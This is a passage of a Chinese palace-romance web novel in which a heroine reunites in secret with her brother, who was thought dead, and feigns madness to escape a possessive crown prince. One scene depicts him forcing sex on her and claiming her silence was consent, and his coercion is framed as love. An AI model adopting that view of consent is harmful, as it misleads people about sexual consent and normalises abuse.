如今天下大定,北蛮余孽全数伏诛,睿王一党完全倾覆,还需要调整这么勤快? 秦平归淡淡道:“小心驶得万年船。” 裴璟以为他是被之前的刺杀弄怕了,这种小事便随他去。 “你还有事?”裴璟处理完一份公务,发现秦平归还坐在旁边,悠闲喝茶。 “我们好久没有切磋了,不如今日比试一下。”秦平归放下茶盏,眼神殷切。 “怎么想起这个来了?”裴璟疑惑看向他。 “怕你累于国事,疏于锻炼,小心身体弄垮了。” 秦平归不给裴璟拒绝的机会,拉着他往校场走。 “你下手是真狠。”裴璟捂住腹部,眉头紧拧,面色不善地看向对面趾高气扬的黑衣男人。 秦平归左右手交替握腕,像是还没打够似的,叹息道:“你的拳脚功夫退步很多,已经打不过我了。” 裴璟脸色铁青,用力一挥袖,转身就走。 秦平归冷眼看他消失的背影,心道这下总该能消停两天了。 他得快点找个机会跟傅归荑私下见面。 秦平归不想让她再受半点委屈,无论是她自愿的,还是被迫的。 傅归荑见裴璟回到寝殿的时候脸色不愉,问发生了什么事。 他怎么可能把被人打得还不了手的事告诉她,故作平淡地说了句没事。 傅归荑以为是又有官员办砸了差事,惹他生气,便不再多问。 裴璟在沐浴时发现自己的胸口,腹部都有不同程度的淤青,尤其是后腰,一动就疼,想必是伤了经脉。 他出来的时候傅归荑一眼看出裴璟的伤,被他含糊了过去。 既然裴璟不愿意说,她也不是多嘴之人,耐心替他擦了药酒,不过他只露出前面的胸口,后背捂得死死的。 柔软细滑的手在裴璟的胸口来回摩挲,擦出微热,继而变成难忍的燥热。 他擒住傅归荑的手腕,哑声道:“我自己来。” 裴璟暗恨秦平归下手太重。最初被打的地方只是隐痛,随着时间推移,慢慢变得酸软无力,最后发现自己行走坐卧没问题,但是想做点什么别的事情力不从心。 余光瞄了眼傅归荑担忧的目光,他心口熨帖,恨不得把人抱在怀里亲昵一番,然而现实是他只能躺在床上仰面望天。 裴璟憋着暗火,咬住后槽牙痛骂秦平归没事找事。 “阿嚏——” 秦平归打了个喷嚏,抽出手帕擦了擦。 “头,你没事吧。” 秦平归嘴里叼着根枯草,冷睨他一眼,不近人情道:“别废话,叫你调整的名单都弄好了吗?” “弄好了。”下属狗腿问他:“为什么要调整,我觉得头儿你之前的排布简直天衣无缝,一只鸟飞过来都得下来盖个爪印。” 秦平归吐出枯草,冷冷道:“你照做就是,哪那么多话。” 背过身的瞬间,他唇边的笑意一闪而逝。 天衣无缝? 他要活生生撕开一道口子。 * 自从知道秦平归是哥哥后,傅归荑每一天每一刻都想立马见到他。 问他这些年过得好不好? 问他有没有怪自己没认出他? 然而事实上因为他是外男,即便进了东宫也不能随意踏足后院寝殿,更不要说找机会与她私下见面。 裴璟在东宫拥有绝对控制权,哪怕是他最看重的心腹在东宫的一举一动也不可能瞒过他的眼睛和耳朵。 哥哥不想让裴璟发现他们的关系。 他一定也在想办法避开裴璟的视线制造与自己见面的机会。 “太子殿下今日怎么还没回来用晚膳?”傅归荑瞧着天色已暗,早过了用膳的时辰还不见裴璟的踪影。 素霖引着赵清进来,赵清躬身道歉:“太子殿下今日与秦大人有要事相商,恐怕还要忙上一两个时辰,殿下请您先用,不必等他。” 傅归荑闻言眼眸一凛,淡淡道:“再忙也要吃饭。素霖,你去叫膳房多准备几道食物,等会我送过去,正好与殿下一起用。” 素霖和赵清面面相觑,他们心里高兴傅归荑惦记殿下,但又怕饿着人被责罚。 “去吧,我中午用得多,还不饿。” 素霖一想确实如此,躬身退下去安排了。 赵清听后高兴地咧开嘴,“那奴才去回禀太子殿下。” 说完跑得比耗子还快。 傅归荑手里转动着茶盏,祈祷哥哥一定要留下来吃饭。 裴璟接到消息后自然是高兴的。 “那我走了,你们吃。”秦平归拿起短刀往外走,手顺势摸了把自己的腹部。 裴璟注意到后出言留他。 秦平归有些为难:“不太好吧。” 裴璟冷笑:“你要是识相,等会你吃完赶紧走人。” 秦平归勉为其难地答应了。 傅归荑来之前做足了心里准备,但在见到秦平归的那一刻,视线还是没忍住盯在他脸上。 眼眶微胀,热意上涌。 作者有话说: 裴璟:老婆心疼我,为我哭得这么厉害,好感动,她一定爱死我了。 傅归荑:哥哥受苦了,以后要好后补偿他。 傅归宜:打你一顿都不够。 很好,终于到我爱的修罗场了!!!! 第64章 相认 晋江文学城独家发布 裴璟和傅归荑不是多话之人, 秦平归有第三人在场时也不会放肆。 一顿饭,三个人吃得很安静。 傅归荑好几次都忍不住去看秦平归,每当两人视线在空气中不经意间相撞时, 他们总会同时停滞一瞬,谁也不愿意先挪开。 哥哥。 妹妹。 无需多言, 一切尽在不言中。 “你怎么不吃?”裴璟替傅归荑夹了一筷子菜。 “啊, 我中午吃多了。”傅归荑立刻垂下眸, 掩盖眼里的异样。 秦平归眼皮一压,装作没听见他们的谈话, 自顾自吃着。 “你中午多喝了一碗汤,这叫吃多了?”裴璟挑眉看过去。 傅归荑目光飘忽不定,手中的玉箸一直握着却没动一筷子, 下嘴唇往里抿,她有事瞒着自己。 裴璟眼神闪烁, 眸底幽深。 “属下想起还有要事, 先行告退。” 秦平归忽然出声,打断裴璟的沉思。 他抬眸挥手, 示意他可以走了。 秦平归拿起放在凳子上的短刀, 行礼后三两步消失在门口。 傅归荑自从秦平归出声后再也没抬头, 手里的筷子几乎要被她折断。 裴璟的大掌搭上傅归荑的手腕,疑惑地问她:“手这么凉?” 还这么僵硬? 傅归荑吓得扔了筷。 裴璟皱了皱眉,唤人重新换上碗筷。 寝殿内。 傅归荑坐在镜子面前发呆,裴璟沐浴完走到她身后, 双手绕过她双臂环抱住她,头抵在傅归荑的右肩。 他的头发披在身后, 带着微微的潮湿, 凉意顺着发梢扫到傅归荑的脖颈, 惹得她忍不住打了个觳觫。 “你有心事?”裴璟看着镜子里的傅归荑,语气很肯定。 傅归荑此时内心紧张惶恐,晚上用膳时还是被裴璟看出端倪来。 她强迫自己镇定下来,淡淡道:“我只是忽然想不通?” “想不通什么?” 傅归荑须臾间已然稳住心神,抬头直视镜子里的裴璟,问他:“想不通你为什么抓住我不放,我只是芸芸众生里最普通的一个人,究竟是哪里入了你的眼?” 裴璟仔细端详她的脸,发现她真的只是在单纯地问问题,并没有排斥、讨厌,怨恨等神色,莫名堵在心口的烦闷一挥而散。 “我也是芸芸众生的一个普通人。我们在众生相遇,大概这就可以称呼为——宿命?” 裴璟轻笑一声,屈指划过她的脸颊,顺着精致小巧的轮廓一路到底,点在她微动的咽喉上,迫使傅归荑呼吸微窒。 “宿命?我看更像是孽缘。”她侧头看向裴璟。 他凑上来,两人额头相抵,温热的呼吸在两人间交织,难舍难分。 裴璟的双眸暗沉,“你承认与我有缘。” 傅归荑垂眸躲避他极具侵略性的目光,“是我造孽。” 裴璟哈哈大笑,猛然打横抱起她往床榻上走。 “那什么,我不方便。”傅归荑抓住他往自己前襟探的手,红着脸说道。 裴璟愣了下,脸色变得十分精彩,最终无声地叹了口气,手自然地往下移,放在她的小腹上,小心揉搓。 “早点休息。”他轻轻吻了吻傅归荑的嘴角,“若是哪里有不适,一定要说出来,知道么?” 傅归荑乖巧地点头,毫无预兆地自言自语:“如果我哥哥要是没死就好了。” 她盯着裴璟的脸,不放过他一丝一毫的反应,斟酌道:“这样、我们也许可以……” 傅归荑的手覆在裴璟的手背上,暗示意味不言而喻。 裴璟脸上的震惊喜悦不似作伪,他甚至有些结巴:“是、是我想的那样。” 傅归荑淡然地嗯了一声,补了句:如今他不在了,我还需要一点时间去处理这件事。” 裴璟激动得反手握住她的手,五指钻进松散的指缝里,紧紧扣住。 他的嘴微张,似乎想说什么,最终还是闭口不言。 傅归荑不等他的回应,兀自闭上眼。 裴璟目光眷恋地凝视她好半晌,眸底挣扎。 到底要不要告诉她王沐然的真相。 然而裴璟一想到后果,喉咙里的字像扎在肉里似的,怎么也吐不出来。 傅归荑承受不起二次打击,他也不敢想象她知道自己故意制造傅归宜的死后反应。 心里暗自决定一边将消息瞒得死死的,另一边加快速度寻找真正的傅归宜。 等他把活生生的傅归宜带到她眼前,再找个借口糊弄王沐然的乌龙一事,方能两全其美。 裴璟见傅归荑躺在他怀里安稳地睡着,无声勾起一抹温柔的笑。 抬起粗粝的指腹忍不住去抚摸她,却又停在她的长睫前,隐忍克制地戳了戳她细密柔软的睫毛。 她于天下是芸芸众生,于他而言是独一无二。 赠他不传的马术,替他设计连弩,在他不管不顾欺负她、强迫她的时候还替他在世子们面前说好话。 裴璟知道她不是懦弱,更不是故意讨好,是因为她懂他。 他们都想要国泰民安,天下太平。 她这么好,他怎么会放过她。 这是他的珍宝,裴璟像一只吝啬又凶残的恶龙,任何觊觎她的人都会被他毫不留情抹杀。 眼眸流转,他在脑海过了一边自己定下的计划,确认没什么遗漏后,贴在傅归荑阖眸入睡。 傅归荑这一觉睡得比她预想的要踏实,或许是裴璟的手掌太暖,替她缓解了不适和疼痛。 无论晚上她如何翻身,腹部始终被炙热的掌心占据一席之地。 * “外面在下雪,想看什么书叫人取来便是,何必亲自走一趟。雪天路滑,你身子受不得凉。” 裴璟坐在床前替她扯好被角,接过暖炉试好温度,小心放在傅归荑手里。 “天天在宫里,有些闷。”傅归荑还想争取出门的机会。 昨日与哥哥同桌用膳,他隐晦地告诉她想办法去藏书阁一见。 裴璟见她一脸怏怏不乐的样子,无奈地捏了捏她的脸,失笑道:“瞧你一副苦瓜脸,不知道还以为我虐待你。你要真想去,等小日子利索了,天气好些再出门行不行?” 傅归荑听出这是裴璟妥协后的让步,知道不能再得寸进尺,于是点点头。 “你好好休息,我等会叫人给你送来点新奇玩意,是前些时日地方官员进贡上来的。” 裴璟说完直起身,准备去上午朝。 他转身走出门口后,脸立刻沉下来,对赵清森寒道:“让秦平归查一下,藏书阁里面有什么东西,她不会无缘无故想起去那里。” 赵清面对裴璟翻脸比翻书还快的性子依旧难以适应,他谨慎小声地答了句是。 裴璟大步流星离开之后,傅归荑目光下敛,落在自己的腹部。 自从那次两人约定后,裴璟再也没有逼迫过她生孩子。 药也换成了最初的药方。 傅归荑才知道,这里面的药也有避子的成分。 裴璟知道她的身体不好,生孩子又是鬼门关上走一遭的罪,不敢拿她的性命随意冒险。 她当时内心非常复杂,原来他在这么早之前已经在为她考虑了么? 傅归荑知道在子嗣这件事上裴璟面对了多大的压力。 东宫美人有孕这个借口最多只能堵住朝臣们十个月的嘴,十个月后他又该怎么办? 裴璟从未在她面前吐露一丝一毫。 她内心纠结不定,一方面哥哥没死的消息让她喜不自胜。 另一方面她在犹豫自己到底要不要对裴璟坦白,他为她走出哥哥死亡的阴影做了很多事,傅归荑都看在眼里。 昨晚上她试探裴璟的态度,见他是真心希望傅归宜活着,但是哥哥好像又不愿裴璟知道。 傅归荑头大如斗,一时间不知道该如何是好。 她决定先见到哥哥,问清楚他的意思再作打算。 傅归荑望着窗外大雪,哥哥昨日没说是什么时候,想必也不急于这一时半刻。 手里的暖炉渐渐变凉,傅归荑恍然惊觉雪不知不觉停了。 一连几日都是晴天,她终于能踏出东宫,身后跟着呜呜泱泱一群人。 “我自己进去。”傅归荑把人留在门外,只让素霖跟着。 藏书阁里面没有其他人,今日专门为她一个人开放。 走在空荡荡的木梯上,踩踏声咚咚咚地回响整个隔层。 傅归荑不知道哥哥在第几层等她,只能慢慢地走,时刻注意周围有没有线索。 轰隆。 楼下传来一阵巨响,像是什么东西被推倒了。 傅归荑和素霖立刻被吸引往下看。 “你去看看怎么回事?”傅归荑灵光一闪,把素霖支走。 素霖神色犹豫,她不敢轻易离开傅归荑半步。 “去吧,楼上肯定没有其他人。”傅归荑笃定道。 素霖心里清楚,藏书阁从昨日起就不允许进人,她到底不放心下面出了什么事,说自己去看一眼马上就回。 傅归荑等看不见她的身影后立刻往上一层走。 刚踏入三楼,手腕就被抓住。 傅归荑转身一看,秦平归就在她眼前。 两人四目相对,一时间谁也没说话。 傅归荑颤抖着抬起手,想要去摸他的脸,又像想到什么,登时像触电般缩回来。 秦平归低头怔怔看着她,张开口,喉结滚动却也吐不出半个字。 周围的空气仿佛被凝固了一般。 “哥哥!” 傅归荑抱住秦平归,声音低哑:“是你吗?我不是在做梦吧?” 秦平归张开双臂悬在空中,好半天才反应过来,回神后用力搂住傅归荑瘦弱的后背。 感受到身后的力量,傅归荑的泪瞬间溢出眼眶,肩膀上下剧烈起伏。 “不哭,”秦平归嗓音闷哑,手笨拙地替她拍拍背:“哥哥回来了,有什么委屈都跟我说,我替你出气。” 傅归荑摇摇头,拼命止住抽泣:“我一切都好,你呢,你有没有哪里受伤。” 她从秦平归的胸口起身,连忙上下打量他。 想到裴璟告诉她,哥哥这些年一直在最危险的前线,她忍不住一阵后怕。 多少次生死与他擦肩而过,若是其中差了分毫,她今日都不可能再看见他。 “我一直很好。”他从怀里拿出块手帕手忙脚乱地替她抹掉眼尾的泪痕,打人杀人他样样在行,哄女孩子,尤其是自己的宝贝妹妹他真是一窍不通。 兄妹两人分明心里都有说不出的苦痛,却仍想把自己最好的一面展现给对方。 所有的痛苦与悲伤已经过去,他们期待的是未来的每一天。 两人相视一笑,宛如从未分离。 傅归荑记起正事,问他为什么不让裴璟知道他的身份。 秦平归双手扶住傅归荑的肩头,弯腰半蹲与她视线平视,目光歉疚。 “我有一件事,必须告诉你。” 秦平归三言两语裴璟如何把王沐然的死伪装成傅归宜悉数道来。 傅归荑越听越觉得不可思议,脚连连后退,浑身颤抖着:“你说,他一早就知道王沐然是假的,甚至故意引导我认错!” 秦平归见她眼眶张大,眸底有什么东西在崩塌,心里愈加后悔自责。 “是,我也参与了。” 他艰涩地说出这句话:“我知道自己错了,没有资格要求你原谅,你想怎么……” 傅归荑抬手捂住秦平归的嘴,阻止他往下说。 “君要臣死,臣不得不死。你是奉命行事,我不怪你。” 秦平归非但没有因为傅归荑的原谅而松了口气,反而心里堵得慌。 他的妹妹太懂事了,懂事得让人心疼。 她完全可以指着他的鼻子大骂,甚至像打裴璟一样给她两个巴掌,不、甚至捅他一刀,几刀都可以。 “你打我吧。”秦平归握住傅归荑的手腕,狠狠往自己脸上摔。 “不。”傅归荑往回缩,然而她的力气不足,还是擦过秦平归的下颌。 清脆的巴掌声响起。 傅归荑连连摇头,泪水再一次抑制不住地落下。 蹬蹬蹬。 是素霖上楼的声音。 傅归荑立刻调整好心情,朝楼梯喊道。 “我渴了,替我去拿盏茶。” 脚步声停下来,而后慢慢远去。 “是,贵人。” 傅归荑看向秦平归脸上的红痕,眼里心疼:“别这样,哥哥,我怎么会怪你。” 她双目微赤,伸手轻抚上那道指印,欣喜又激动:“你能活着,是上天对我最好的恩赐。” 秦平归覆上傅归荑的手,垂眸快速眨了眨,将眼里的泪光散去。 “我之所以瞒着裴璟自己的身份,是想把选择权交到你的手上。” 秦平归说完自己的计划,淡淡一笑:“无论你怎么选,我都会全力配合你。” 若是之前傅归荑还在徘徊不定,此刻她毫不犹豫地选择第二条路。 “我要回家。”傅归荑露出一个灿烂的笑容。 “我们一起回家。” 秦平归弯了弯眼睛,低头附上她的耳朵,低声说出自己筹谋已久的计划。 傅归荑凝神仔细听,不敢漏掉一丝一毫。 “切记不可让裴璟发现端倪,剩下的交给我便是。” 傅归荑对秦平归的信任毋庸置疑,用力点头。 “我走了。”秦平归替傅归荑拢了拢大氅,依依不舍地翻窗离开。 他刚一走,素霖端着热茶走上三楼。 傅归荑接过装模作样抿了口,又在三楼转上几圈,最后随意从架子上抽出几本书离开。 “你今天哭了?” 裴璟回来后第一时间察觉到傅归荑的异常,她的眼尾的红还未完全褪去,联想到素霖来报发生在藏书阁的事,裴璟心里莫名觉得不对劲。 “藏书阁三楼太久无人去了,灰尘粘到眼睛上罢了。”傅归荑临时编出个理由。 她没想到素霖看出来了,还将这种小事告诉裴璟。 裴璟眼眸微眯。 她在撒谎。 早在知道她要去藏书阁选书时,他就命人将里里外外打扫和检查了好几遍,不可能存在她说的这种情况。 裴璟脑海里迅速过了一边她最近的举动,没有发现她有接触过什么奇怪的人,她更不可能听到任何他不允许传到她耳朵里的事。 他心口陡然腾起烦躁,傅归荑任何不可控的一切在他眼里都是危险因素,包括她异常的情绪。 今天他回来用晚膳时,傅归荑全程都在有意无意躲避他的视线,尽管她已经尽最大的努力掩饰,仍然逃不过裴璟的眼睛。 他选择隐而不发。 当然,裴璟可以用其他方法逼迫她说出口,但这不是他想与傅归荑相处的方式。 她到底什么时候能学会完全依靠他,相信他。 裴璟脸色阴冷,连带着一晚上整个东宫上下都战战兢兢的。 就寝时,裴璟本能地想从傅归荑身上确认自己的地位和存在,安抚他无缘无故焦躁的心,却被她躲了过去。 “我累了。”傅归荑闭上眸身体微蜷对着墙壁,这是拒绝他的意思。 裴璟目光沉沉盯着她的背影,开口时反而带上几分玩笑:“今天做什么去了,这么累?” 傅归荑淡声道:“站累了。” 裴璟的手抚上她的腰侧,轻笑道:“哪里累,我给你揉揉。” “不用。我今天想好好休息。”傅归荑抬手阻拦他蠢蠢欲动的手,始终不肯回头看裴璟一眼。 她还没能完全消化今日哥哥带来的消息。 裴璟到底把自己当做什么? 居然故意制造哥哥的死。 难道他看自己痛不欲生的模样会感到快意吗? 他太可怕了。 傅归荑想,自己永远猜不透他在想什么。 亏她之前还为他所做的一切而感动,甚至还想将哥哥的身份与他坦言相告,想一个两全其美之计。 今日哥哥给了她两个选择,第一个是告诉裴璟他就是傅归宜,按照裴璟的性子必定会让哥哥回苍云九州,顶替她的世子之位。而她,可以名正言顺嫁给裴璟,哥哥从今以后会替她守在父母尽孝,她可以时常回苍云九州省亲。 她的背后有强势的娘家,朝臣绝不敢反对她入主中宫。 这是一个最简单的法子。 可笑自己当时居然有些心动。 第二个则是他们自己偷梁换柱,再让傅归荑以假死脱身,只要回到苍云九州,哥哥说自有办法让裴璟再不敢来纠缠她。 若是裴璟不曾做下这等令人发指之事,傅归荑或许还需要纠结犹豫一二,眼下她只想离他远远的,再也不要靠近他半步。 裴璟感受到傅归荑强烈的拒绝之意,心里的燥火愈盛,他恨不能直接擒住她的下巴逼人转过来。 这个想法仅出现一瞬便散去,他仰头闭了闭眸,语气温柔得可怕:“那你今天好好休息。” 说完老老实实平躺在傅归荑旁边,什么多余的动作也没有。 傅归荑听见后面没了动静,心里松了口气。 哥哥告诉她,千万不可以表现出任何异常,但她不是没有感情的物件,只能选择回避。 她心里装了事,睡得不踏实,迷迷糊糊间忽然被人翻了过去,还没意识到发生了什么,身体猛然被闯入。 “你……” 一只大掌捂住她的嘴,裴璟低声在她耳畔呢喃:“过了子时,已经是第二日了。” 傅归荑瞪大双眼怒目而视。 裴璟凑到她额前,两人的脸几乎咫尺般相贴。 “你没有说不,”裴璟无赖道:“那就是同意了。” 说罢,覆身而上。 傅归荑死命挣扎,力道之大差点把裴璟踢下去。 隔着黑暗,她的抗拒之意也如此明显地传达给了裴璟,他脸色愈加寒凉。 到底发生什么事,傅归荑一天之内像变了个人似的。 然而箭在弦上,他根本无暇想太多。 裴璟本就在气血翻涌之年岁,从前不近女色是因为不识傅归荑,日日品尝珍馐美味的好日子一连断了四五日,好不容易等到她小日利落了,还被她无情拒绝。 裴璟哪里能忍得住? 他引以为傲的自制力早就在她这里溃不成军。 酣畅淋漓地尽兴后,手下松了些力道,下一刻,他的掌心传来一阵钻心的疼痛。 裴璟轻吸一口凉气,强忍着甩开傅归荑的冲动。 咬得真狠,简直是要撕了他一样。 等到她的牙齿卸了力,裴璟才慢慢从她嘴里抽出。 他喘着粗气笑了声,“发泄够了,那能跟我说说,你今日为什么生气吗?” 傅归荑此刻满嘴铁锈味,她没料到裴璟会任她狠咬也不阻拦。 胸口急剧起伏不断,她不由恍了神。 裴璟耐心地等着,丝毫不顾自己手上的伤。 傅归荑张开嘴,唇瓣微颤,借着黑暗她轻声问道。 “裴璟,我的哥哥,究竟是怎么死的?” 裴璟半眯的双眼蓦地张大,目光锐利地盯着身下之人。 然而只能看清一个模糊的轮廓,他看不见傅归荑脸上几近痛苦的表情。 她想给他,最后一次机会。 只要他现在肯说实话,念及他救了哥哥又照拂多年,还救过自己的份上,傅归荑选择原谅他。 裴璟没有立刻回答。 作者有话说: 裴璟:他们一打二,还互相明牌,我要闹了! 修罗场失败,兄妹二人目前还不能硬刚,需要猥琐发育。 第65章 梦魇 晋江文学城独家发布 寂静黑暗的空间里, 充斥着两人急促的呼吸。 渐渐地,裴璟率先平复下来。 他声音沉稳,带着让人信服的力量。 “他的确是因病而逝。” 因病而逝。 傅归荑无声地重复这四个字。 冰冷的泪从她的眼尾悄然滑落, 没入柔软的枕头里。 “是吗?” 她明明流着泪,但她听见自己的声音十分淡定, 像在说一件与己无关的事。 “是, 别想太多。”裴璟的手碰到她的泪, 随手擦掉,揉了揉她的发顶:“早点休息。” 傅归荑嗯了一声, 似乎很累。 两人相拥而眠。 几日后。 子时刚过不久,裴璟发现怀中人抖得厉害,醒来后意识到她在做噩梦。 裴璟立刻抬手轻轻拍击她的肩头安抚着, 声音低沉:“没事,我在。” 傅归荑缓缓睁开眼, 额头上冒出密密麻麻细汗, 她的神情慌张不安。 “我梦见哥哥了。” 裴璟动作一僵。 傅归荑仿佛没察觉到他的异常,十指紧紧揪住裴璟前襟衣领, 闷哑的声音透着藏不住的不安:“他说自己好热好烫, 他是不是在怪我烧了他。” 裴璟一听, 抱住傅归荑,温柔道:“他爱护你还来不及,怎么会怪你。” 傅归荑双手机械地攀在他肩膀,头埋进他的胸膛, 在他看不见的地方表情冷漠。 “我怕。”傅归荑假装发抖,“裴璟, 我怕。” 裴璟哪里还记得逼问她之前的事, 一心只想如何消除傅归荑的恐惧。 没有哪个男人在面对自己心爱的女人求助时会无动于衷。 更何况傅归荑是个要强之人, 她不会轻易展露自己的脆弱。 裴璟再冷硬的心肠也被她猝不及防的示弱融成一团柳絮,飘在空中。 “不用怕,”裴璟此刻的保护欲空前鼎盛,他双手双腿束缚住傅归荑,将人嵌入自己的怀里,字字铿锵:“有我在,你什么也不用怕。” 傅归荑慢慢停止了颤抖。 这一夜,她睡得很不安稳。 接连好几次被噩梦吓醒,嘴里惊慌地迸出不明意味的呓语。 “哥哥,我错了。” “你是不是要来带我走。” 裴璟听得整夜心惊肉跳,夜不能寐,一直在安抚受惊吓的傅归荑。 这样的日子一连过了好几日。 裴璟白日忙于政事,夜晚安慰心上人,心力交瘁。 他还没垮,傅归荑先出现问题了。 她开始害怕火。 白天还好,晚上她只要一看见烛火就开始发抖,一直说哥哥要带她离开之类的话。 裴璟没办法,只能勒令整个东宫不允许点灯,照明一率用夜明珠。 傅归荑也不大吵大闹,白天安安静静一个人缩在角落里瑟缩着身子不肯踏出房门一步,等他晚上回来后立刻挤进他怀里,怎么也不肯松手。 眼看她一天比一天憔悴,裴璟的心情也越来越糟糕。 “你说,傅归荑她到底是怎么回事?”裴璟眉头紧皱看向对面的秦平归。 秦平归头也不抬,坐在椅子上用手帕擦拭自己的短刀,闻言玩笑似的道:“撞邪了?要不请些人来驱一驱。” 裴璟斜睨了他一眼,大意是你别添乱。 秦平归撇撇嘴,扫了眼裴璟掌心的伤,不再说话。 裴璟从来不信神佛,他只信自己,更何况死的根本不是真正的傅归宜。 他独自一人坐在书房沉思,傅归荑怎么会忽然噩梦连连? 一定有一个诱因。 难道是西厢房那场火? 不,不是。 她最后一次出门去的地方。 藏书阁。 裴璟把素霖叫进来,又让她复述了一次当日发生的事。 听完后他总觉得哪里有问题,可他已经提前吩咐清场,里面的东西也检查过,除了傅归荑带回来的两本书外没有其他被动过的痕迹。 不对! 如果真像她说的去找书消遣,怎么会只碰过两本书,寻常人找书难道不应该拿下来先看看内容。 裴璟的目光变得晦暗不明。 当晚他回去后,趁着她沐浴时寻到那两本带回来的书,它们被压在临窗罗汉榻的迎枕底下,书页崭新,没有翻动的痕迹。 再看内容,杂记游记。 裴璟不动声色地将它们放了回去。 晚上入睡时,傅归荑如同往常那般主动钻进裴璟的怀里,头紧靠在他胸膛上。 乖巧得惹人怜惜。 裴璟垂眸盯视着她,这副模样难怪他没起一点疑心。 他低下头,双唇停在她的耳畔轻轻吹气,诱哄道:“傅归荑,你有什么想要的,直接跟我说不行么,何必折磨自己?告诉我,我能为你办到的绝不食言。” 傅归荑埋在裴璟胸口的唇线绷成拉满的弓弦,牙齿轻颤。 她在内心默默想着哥哥告诉她,裴璟最擅长心理战,绝对不可以被他引导说出真实想法。 当年在北蛮时,不少皇子、大臣间因被他故意诱导,最终自相残杀。 傅归荑悄悄憋着口气,抬头看向裴璟,眼神迷离。 “我没有什么想要的。” 裴璟贴上她的额头,鼻尖相触,亲昵地蹭了蹭:“没有么?是不是想家了,西厢房过几日便能修复完成,到时候我带你过去住几天,可好?” 傅归荑点了点头。 裴璟头一压,覆上她的唇。 傅归荑的手僵硬地抵在他的胸膛上,迟迟没有推开。 她如果拒绝他,便坐实自己心里有鬼。 裴璟看似放低身段在妥协,实则是试探。 当夜,傅归荑闹得非常凶,甚至一度对裴璟拳打脚踢,他废了好大的劲才让人睡过去。 又过几日,裴璟疲惫无力地揉着额角对秦平归道:“你去找找…给她驱邪的人。” 傅归荑的情况越来越严重,甚至出现了幻觉,有时候还把裴璟认成她哥哥。 裴璟愈发不敢将真相说出口,生怕再刺激到她。 更怕她根本不信,还以为自己是编来骗她的。 究竟是哪里出了问题? 裴璟胸口烦闷不已,有种失去掌控的无力感。 秦平归听后嗤笑了声,被裴璟冷眼狠狠刮了下。 他办事速度很快,佛家,道家的,甚至专门派人去苍云九州请了那边的巫祝一类过来。 傅归荑很排斥。 “我不要,我没疯。” 裴璟好言相劝:“谁敢说你疯?你这些时日憔悴得厉害,只是求个安心。” 傅归荑红着眼缩在床脚边缘,任凭裴璟好言相劝,亦或者恶声威胁都不为所动。 “别碰我!你敢把我……” 裴璟直接出手打晕了她,横抱着出了寝殿。 秦平归看见傅归荑脸色惨白,眼底青黑,心口一酸,旋即故意调笑了句:“不知道的还以为你要用她祭天。” 裴璟没好气道:“你能闭嘴吗?” 秦平归耸耸肩,一脸“你过河拆桥”的浪荡模样。 佛家高僧没用。 道家仙师也没用。 傅归荑看着一日比一日憔悴,甚至开始对裴璟恶言相向,像是变了个人似的。 东宫上下无不惶惶瑟瑟,陷入草木皆兵,风声鹤唳的极度惊慌,连走路都不敢发出声音。 终于,苍云九州请来的巫祝替傅归荑祈福后,她夜里明显睡得安稳不少,只惊醒了一次。 又试了几次,傅归荑终于能正常安睡一夜。 裴璟心里的弦总算松了下来。 “裴璟,你不是说什么都可以答应我么?”傅归荑躺在他的颈窝,手搂住他的右肩,双目没有焦距地盯着前方,轻声道:“送哥哥回家吧,回苍云九州。” 裴璟抬手按在她的后脑上,让她靠得更近些,柔声道:“好。” 傅归荑按捺住激动的心,平心静气地说出自己的想法。 裴璟听完后,沉默了好一会儿,问她:“你真的决定舍弃‘傅归宜’这个身份了?” 幸福来的太突然,他第一反应是不敢相信。 傅归荑扯了扯嘴角:“哥哥已经死了,我还占着他的身份又有什么意义。但我只想告诉父亲母亲,暂时瞒住其他人。” 她不等裴璟开口,继续道:“等你登基,娶我以后再宣布他的死讯,可以么?” 裴璟握住她肩头的手一紧,复又放松,缓声答:“都听你的。” 他极力压抑住内心的窃喜,忍不住补了一句:“你想怎么样,都可以。” 傅归荑仰头主动吻上裴璟的唇角,细声说出自己的打算。 裴璟听后,又帮她补充完善不少漏洞。 “谢谢。” “你我之间,不必言谢。” * 京城外,秦平归与傅归荑双双骑马,并肩而行朝苍云九州的方向走。 秦平归吐出嘴里的枯草,眼神略带崇拜看向傅归荑:“所以他不但同意你的计划,甚至还帮你安排好‘傅世子’毁容,到时候若有人开棺验尸,也能瞒天过海。” 傅归荑淡淡嗯了声。 秦平归笑叹了声:“英雄难过美人关。” 傅归荑脸颊滚烫,别过脸去看旁边的景色,装作不知道他说了什么。 秦平归马上意识到自己失言,假咳两声掩饰过去。 他们的计划是让裴璟放名义上的“傅归宜”回苍云九州,然后他登基后立刻迎娶镇南王嫡女傅归荑。世子回程途中会遭遇一场大火烧伤脸,回到苍云九州,等亲妹妹完婚后重伤病逝。 从此天下再无镇南王世子傅归宜,只有镇南王嫡女傅归荑。 傅归荑告诉裴璟自己会写一封信带给父亲说明原委,再找个人伪装成自己回去。 裴璟当即提出秦平归是个好人选。 傅归荑当时听见他的建议时,吓得差点以为他早已得知一切。 秦平归站在岔路口,与傅归荑告别。 秦平归眼神温柔,问她:“路线你都记清楚了么?” 傅归荑点头。 秦平归露出白牙:“别担心,剩下的交给我。” 傅归荑浅笑,重重嗯了声。 两人分离。 作者有话说: 裴璟:我自己给自己添堵一波。 第66章 圣旨 晋江文学城独家发布 傅归荑在裴璟的安排下, 偷偷回到东宫。 名义上,她已经完成学业返回苍云九州。 几天后,最后一批世子, 包括乌拉尔在内全都通过考核,准备启程返回原地。 他们走的那日下了场鹅毛大雪。 傅归荑撑着伞, 躲在城墙一角目送他们离去。 想起乌拉尔之前塞给她的一大袋银子, 说是那些世子们给的“束脩”, 不由失笑。 这一别,不知今生还有没有机会相见。 傅归荑对于本次南陵京城之行, 最大的收获一个是哥哥还活着的消息,另一个便是这群直肠子的同窗。 要是有一天他们知道自己是女人,不知道会作何感想? 傅归荑一进东宫, 素霖连忙递上新的暖炉,又为她解开织金镶银丝边月白大氅, 抖了抖上面的残雪, 晾在一旁的红木楎上。 自从她说出愿意舍弃“傅归宜”这个身份后,便恢复女装。 头发用一根简单的木簪轻挽, 不施脂粉, 清秀出尘。 脱下大氅露出浅蓝色祥云百花纹锦裙, 层层叠叠繁复的银丝花纹不知费了多少绣娘的功夫,可一看成品落在这样的美人身上,又觉得分外值当。 素霖连忙拿了件烘烤过的浅紫色羽缎斗篷给她披上,以免着凉。 “今日还在德安殿吗?”傅归荑问。 素霖回她:“是, 太子殿下说晚膳不必等他。” 宣安帝临近冬日,因为德安殿里不准烧地龙, 更没有准备熏笼、暖炉等御寒之物, 